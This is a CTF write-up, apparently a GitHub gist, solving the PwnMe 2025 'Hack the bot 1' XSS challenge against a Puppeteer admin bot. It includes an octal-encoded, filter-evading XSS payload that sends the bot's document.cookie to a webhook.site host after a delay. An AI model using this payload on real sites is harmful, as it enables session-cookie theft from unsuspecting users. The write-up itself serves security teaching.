Created
March 1, 2025 17:14
-
-
Save ky28059/0d9af500fb0b9923022eaad055fc7b7c to your computer and use it in GitHub Desktop.
Revisions
-
ky28059 created this gist
Mar 1, 2025 .There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters. Learn more about bidirectional Unicode charactersOriginal file line number Diff line number Diff line change @@ -0,0 +1,202 @@ # PwnMe CTF Quals 2025 — Hack the bot 1 > I've developed a little application to help me with my pentest missions, with lots of useful payloads! I even let users add new payloads, but since I was in a rush I didn't have time to test the security of my application, could you take care of it ? We're given an express server that looks like this: ```js const express = require('express'); const path = require('path'); const fs = require('fs'); const { spawn } = require('child_process'); const puppeteer = require('puppeteer'); const { format } = require('date-fns'); const app = express(); const port = 5000; const logPath = '/tmp/bot_folder/logs/'; const browserCachePath = '/tmp/bot_folder/browser_cache/'; const cookie = { name: 'Flag', value: "PWNME{FAKE_FLAG}", sameSite: 'Strict' }; app.use(express.urlencoded({ extended: true })); app.use(express.static(path.join(__dirname, 'public'))); app.set('views', path.join(__dirname, 'views')); app.set('view engine', 'ejs'); if (!fs.existsSync(logPath)) { fs.mkdirSync(logPath, { recursive: true }); } if (!fs.existsSync(browserCachePath)) { fs.mkdirSync(browserCachePath, { recursive: true }); } const sleep = ms => new Promise(resolve => setTimeout(resolve, ms)); async function startBot(url, name) { const logFilePath = path.join(logPath, `${name}.log`); try { const logStream = fs.createWriteStream(logFilePath, { flags: 'a' }); logStream.write(`${new Date()} : Attempting to open website ${url}\n`); const browser = await puppeteer.launch({ headless: 'new', args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`] }); const page = await browser.newPage(); await page.goto(url); if (url.startsWith("http://localhost/")) { await page.setCookie(cookie); } logStream.write(`${new Date()} : Successfully opened ${url}\n`); await sleep(7000); await browser.close(); logStream.write(`${new Date()} : Finished execution\n`); logStream.end(); } catch (e) { const logStream = fs.createWriteStream(logFilePath, { flags: 'a' }); logStream.write(`${new Date()} : Exception occurred: ${e}\n`); logStream.end(); } } app.get('/', (req, res) => { res.render('index'); }); app.get('/report', (req, res) => { res.render('report'); }); app.post('/report', (req, res) => { const url = req.body.url; const name = format(new Date(), "yyMMdd_HHmmss"); startBot(url, name); res.status(200).send(`logs/${name}.log`); }); app.listen(port, () => { console.log(`App running at http://0.0.0.0:${port}`); }); ``` Seemingly, the server sets up a simple "admin bot" whose cookie we need to extract via XSS. But where is the XSS vulnerability? Looking in the script loaded by `index.ejs`, ```js // Implements search functionality, filtering articles to display only those matching the search words (considering whole words case-insensitive matches) function getSearchQuery() { const params = new URLSearchParams(window.location.search); // Utiliser une valeur par défaut de chaîne vide si le paramètre n'existe pas return params.get('q') ? params.get('q').toLowerCase() : ''; } document.addEventListener('DOMContentLoaded', function() { const searchQuery = getSearchQuery(); document.getElementById('search-input').value = searchQuery; if (searchQuery) { searchArticles(searchQuery); } }); document.getElementById('search-icon').addEventListener('click', function() { searchArticles(); }); document.getElementById('search-input').addEventListener('keypress', function(event) { if (event.key === 'Enter') { searchArticles(); } }); function searchArticles(searchInput = document.getElementById('search-input').value.toLowerCase().trim()) { const searchWords = searchInput.split(/[^\p{L}]+/u); const articles = document.querySelectorAll('.article-box'); let found = false; articles.forEach(article => { if (searchInput === '') { article.style.display = ''; found = true; } else { const articleText = article.textContent.toLowerCase(); const isMatch = searchWords.some(word => word && new RegExp(`${word}`, 'ui').test(articleText)); if (isMatch) { article.style.display = ''; found = true; } else { article.style.display = 'none'; } } }); const noMatchMessage = document.getElementById('no-match-message'); if (!found && searchInput) { noMatchMessage.innerHTML = `No results for "${searchInput}".`; noMatchMessage.style.display = 'block'; } else { noMatchMessage.style.display = 'none'; } } ``` The idea seems to be that - The page automatically populates `search-input` with our passed-in query string. - For each "word" (tokens separated by [characters not in the unicode letter category](https://www.regular-expressions.info/unicode.html#prop)) in our query, we perform a case-insensitive Regex match against the text of each article on the page. - If no matches are found, we get direct `innerHTML` access -> XSS. But there's one last problem; the page's articles look like this:  so we need to be careful about choosing an XSS payload that doesn't match any of the banned tokens above. Looking [online](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet), one such payload is  ```html <vinh oncontentvisibilityautostatechange="..." style=display:block;content-visibility:auto> ``` but our executed JS can't contain any of the banned tokens, either. To be safe, we can use JS's [deprecated octal escape sequence](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features#escape_sequences) syntax to encode our payload as ```js fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`) ``` ```js eval('\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51') ``` One final hiccup: looking at the bot source again, ```js const page = await browser.newPage(); await page.goto(url); if (url.startsWith("http://localhost/")) { await page.setCookie(cookie); } ``` the admin visits the page *before* setting its cookie. As a simple solution, we can just sleep for a bit before exfiltrating the cookie via XSS, ```js console.log([...'setTimeout(() => fetch(`https://webhook.site/b7d64b9c-1be5-4c70-8120-fd9fb57cc68a?a=${document.cookie}`), 3000)'].map(s => '\\' + s.charCodeAt(0).toString(8)).join('')) ``` giving us a final payload looking like ```html <vinh oncontentvisibilityautostatechange="eval('\163\145\164\124\151\155\145\157\165\164\50\50\51\40\75\76\40\146\145\164\143\150\50\140\150\164\164\160\163\72\57\57\167\145\142\150\157\157\153\56\163\151\164\145\57\142\67\144\66\64\142\71\143\55\61\142\145\65\55\64\143\67\60\55\70\61\62\60\55\146\144\71\146\142\65\67\143\143\66\70\141\77\141\75\44\173\144\157\143\165\155\145\156\164\56\143\157\157\153\151\145\175\140\51\54\40\63\60\60\60\51')" style=display:block;content-visibility:auto> ``` Reporting this to the bot, we get the flag:  ``` PWNME{D1d_y0U_S4iD-F1lt33Rs?} ```